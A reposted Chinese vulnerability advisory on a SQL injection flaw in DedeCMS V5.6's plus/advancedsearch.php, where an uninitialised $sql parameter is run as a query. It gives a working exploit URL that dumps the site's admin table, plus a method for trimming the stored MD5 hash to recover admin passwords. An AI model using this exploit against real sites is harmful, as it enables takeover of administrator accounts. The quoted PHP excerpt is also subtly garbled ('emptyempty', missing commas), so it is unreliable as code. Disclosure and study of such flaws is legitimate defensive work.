DEDECMS网站内容管理系统plus/advancedsearch.php页面注入漏洞

2011-3-30 17:27:15 来源:网络转载 浏览:262
DEDECMS网站内容管理系统plus/advancedsearch.php页面注入漏洞
出现版本:DEDECMS V 5.6

程序介绍: DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心,是目前国内应用最广泛的php类CMS系统。

漏洞分析: plus/advancedsearch.php当中$sql变量未初始化,导致SQL注入漏洞
  1. if($mid == 0)  //必须绕过  
  2. {  
  3.         showmsg('参数不正确,高级自定义搜索必须指定模型id''javascript');  
  4.         exit();  
  5. }  
  6. $query = 'select maintable, mainfields, addontable, addonfields, 
    template from #@__advancedsearch where mid='$mid''
    ;  
  7. $searchinfo = $dsql->GetOne($query);  
  8. if(!is_array($searchinfo))    
  9. {  
  10.         showmsg('自定义搜索模型不存在','-1');    
  11.         exit();  
  12. }  
  13. $template = $searchinfo['template'] != '' ?  
    $searchinfo['template'] : 'advancedsearch.htm';  
  14. if(emptyempty($sql))         //成功绕过  
  15. {  
  16.         ..............  
  17. }  
  18. else  
  19. {  
  20.         $sql = urldecode($sql);  
  21.         $query = $sql;  
  22. }  
  23.    
  24. $sql = urlencode($sql);  
  25. $dlist = new DataListCP();  
  26. $dlist->pageSize = 20;  
  27. $dlist->SetParameter('sql'$sql);  
  28. $dlist->SetParameter('mid'$mid);  
  29. ................  
  30.    
  31. $dlist->SetTemplate($templatefile);  
  32. $dlist->SetSource($query);  
  33.    
  34. .............  
  35.    
  36. $dlist->Display();  

漏洞利用:plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5

解决方案:
软件厂商:DEDECMS
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.dedecms.com/
(0)
(0)